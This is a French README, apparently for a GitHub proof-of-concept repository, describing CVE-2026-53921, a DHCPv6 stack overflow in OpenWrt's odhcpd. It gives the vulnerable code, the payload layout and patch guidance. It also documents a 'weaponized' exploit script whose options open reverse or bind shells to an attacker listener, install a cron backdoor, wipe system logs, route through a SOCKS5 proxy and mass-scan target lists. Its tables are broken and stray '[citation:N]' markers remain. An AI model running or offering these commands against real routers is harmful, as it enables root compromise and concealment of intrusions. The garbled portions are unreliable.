
CVE-2026-53921 – Débordement de pile odhcpd (CVSS 9.8) 🛡️ Write-Up détaillé et complet de la vulnérabilité, avec vérificateur et multi-exploit pour l'exécution de code à distance (RCE) DHCPv6 sur OpenWrt. Débordement à double vecteur (IA_NA/IA_PD) avec shellcode MIPS/ARM, chaînes ROP, proxy SOCKS5, persistance, effacement des journaux et balayage de masse. Utilisez de manière éthique, restez dans la légalité. 🔒

⚠️ Uniquement à des fins éducatives et de tests autorisés. Toute utilisation non autorisée est illégale.
CVE-2026-53921 est un débordement de tampon de pile critique dans le démon odhcpd d’OpenWrt – le serveur DHCPv6/DHCPv4/RA par défaut.
La vulnérabilité se situe dans le code de traitement des messages DHCPv6 d’odhcpd, plus précisément dans les fonctions build_ia() et dhcpv6_ia_handle_IAs().
Le bug se produit lors de la sérialisation (empaquetage) des paquets de réponse DHCPv6. Lorsque odhcpd répond aux requêtes des clients, il construit la réponse dans un tampon de pile de taille fixe de 512 octets sans vérification adéquate des limites.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// ❌ No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
Un attaquant envoie une requête DHCPv6 (ou un Solicit) avec :
Chaque option consomme de l’espace de pile lorsque odhcpd construit sa réponse. Les données accumulées dépassent 512 octets, provoquant le débordement.
Vecteur Déclencheur Point de débordement
Site 1 5 options IA_NA build_ia() pour IA_NA
avec adresses IPv6
build_ia() pour IA_PDLa cause racine est identique, mais le débordement se produit dans des chemins de code différents, ce qui rend les deux vecteurs également exploitables.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
L’attaquant écrase l’adresse de retour sauvegardée pour qu’elle pointe vers son shellcode en mémoire.
Exigence Description
Accès réseau L’attaquant doit avoir une connectivité IPv6 vers la cible
Authentification Aucune -- attaque non authentifiée
Privilèges odhcpd s’exécute en tant que root,
donc l’RCE accorde le contrôle total du
système
Dans un exploit réel, le shellcode de l’attaquant est placé dans les champs d’adresse IPv6 IAAddress (16 octets par IA_NA). Les paquets malveillants intègrent le shellcode, le NOP sled et l’adresse de retour dans ces champs.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
Version Statut RCE possible ?
odhcpd < e432dd6 Vulnérable ✅ Oui OpenWrt < 24.10.8 Vulnérable ✅ Oui OpenWrt < 25.12.5 Vulnérable ✅ Oui OpenWrt 24.10.8+ Corrigé ❌ Non OpenWrt 25.12.5+ Corrigé ❌ Non odhcpd master + e432dd6 Corrigé ❌ Non
Cette vulnérabilité est particulièrement dangereuse car :
odhcpd est activé par défaut sur les installations OpenWrt.| Composant | Versions vulnérables | Corrigé dans |
|---|---|---|
odhcpd (branche master) | avant le commit e432dd6 | e432dd6 ou ultérieur |
| Versions OpenWrt | < 24.10.8 < 25.12.5 |
Ce dépôt fournit deux scripts indépendants :
| Script | Objectif | Code d’exploit | Sécurité |
|---|---|---|---|
verifier.py | Vérification de vulnérabilité non intrusive | ❌ Non | ✅ Sûr |
exploit.py | Exploit complet et armé |
verifier.py – Vérificateur de vulnérabilitéexploit.py – Exploit completIA_NA (Site1) et IA_PD (Site2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| Argument | Description |
|---|---|
-u, --target | Adresse IPv6 cible (obligatoire) |
-i, --iface | Interface réseau (par défaut : eth0) |
exploit.pysudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. Exploit a single target with bind shell
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. Use SOCKS5 proxy + persistence + log wiping
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs
Mettez à niveau OpenWrt vers 24.10.8 ou 25.12.5 ou une version ultérieure.
opkg update
opkg upgrade odhcpd
Avis de sécurité OpenWrt (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 Avis détaillé couvrant les deux vecteurs de débordement dans odhcpd.
Entrée CVE-2026-53921 du NVD https://nvd.nist.gov/vuln/detail/CVE-2026-53921 Entrée officielle de la base de données de vulnérabilités du NIST.
Notes de version OpenWrt 24.10.8 https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 Annonce officielle de la version pour la branche 24.10.
Notes de version OpenWrt 25.12.5 https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html Annonce officielle de la version pour la branche 25.12.
Les versions 24.10.8 et 25.12.5 corrigent plusieurs vulnérabilités d’odhcpd au-delà de CVE-2026-53921 [citation:9] :
Analyse de The Hacker News https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html Analyse technique détaillée de la vulnérabilité et des vecteurs d’exploitation. [citation:1]
Dépôt GitHub du PoC https://github.com/0xBlackash/CVE-2026-53921 Implémentations publiques de preuve de concept et détails techniques. [citation:3]
La version 25.12.5 corrige également des vulnérabilités dans d’autres composants essentiels [citation:10] :
Sélecteur de firmware OpenWrt https://firmware-selector.openwrt.org/ Téléchargez les images de firmware corrigées pour votre appareil.
Catalogue CISA des vulnérabilités exploitées connues https://www.cisa.gov/known-exploited-vulnerabilities-catalog Vérifiez si CVE-2026-53921 a été ajouté au catalogue KEV (au 27 juillet 2026, il n’y figure pas). [citation:1]
| 24.10.8 & 25.12.5 |
| ✅ Oui |
| ⚠️ Dangereux |
| Argument | Description |
|---|
-u, --target | Adresse IPv6 cible |
-l, --list | Fichier contenant une liste de cibles |
-i, --iface | Interface réseau (par défaut : eth0) |
--lhost | IP de l’écouteur (obligatoire) |
--lport | Port de l’écouteur (par défaut : 4444) |
--vector | site1, site2 ou both (par défaut : both) |
--offset | Décalage de pile (par défaut : 512) |
--ret | Adresse de retour en hexadécimal (ex. 0x7ffff000) |
--arch | Forcer mips ou arm (détection automatique si omis) |
--payload | reverse ou bind (par défaut : reverse) |
--encode | none ou xor (par défaut : none) |
--proxy-host | IP du proxy SOCKS5 |
--proxy-port | Port du proxy SOCKS5 (par défaut : 1080) |
--persistence | Installer une backdoor cron |
--clear-logs | Effacer les journaux système (syslog) après l’exploitation |
--scan-only | Scanner uniquement les cibles, sans exploiter |
--threads | Nombre de threads pour le scan (par défaut : 5) |
--verbose | Journalisation verbeuse |
| CVE ID | Sévérité | Description |
|---|
| CVE-2026-53918 | Élevée | Use-after-free dans le gestionnaire IA DHCPv6 [citation:4][citation:9] |
| CVE-2026-53920 | Élevée | Divulgation de mémoire de pile via une option DHCPv6 IA_NA/IA_PD tronquée [citation:9] |
| CVE-2026-53922 | Modérée | Déni de service avant authentification via un dépassement inférieur de size_t [citation:9] |
| CVE-2026-55606 | Modérée | Sur-lecture du tampon de pile due à une incompatibilité d’endianness dans la longueur DUID [citation:9] |
| CVE-2026-62948 | - | Injection de nom d’hôte DHCPv6 menant à un XSS stocké [citation:1] |
| CVE-2026-62947 | - | Traversée de chemin authentifiée dans cgi-io [citation:1] |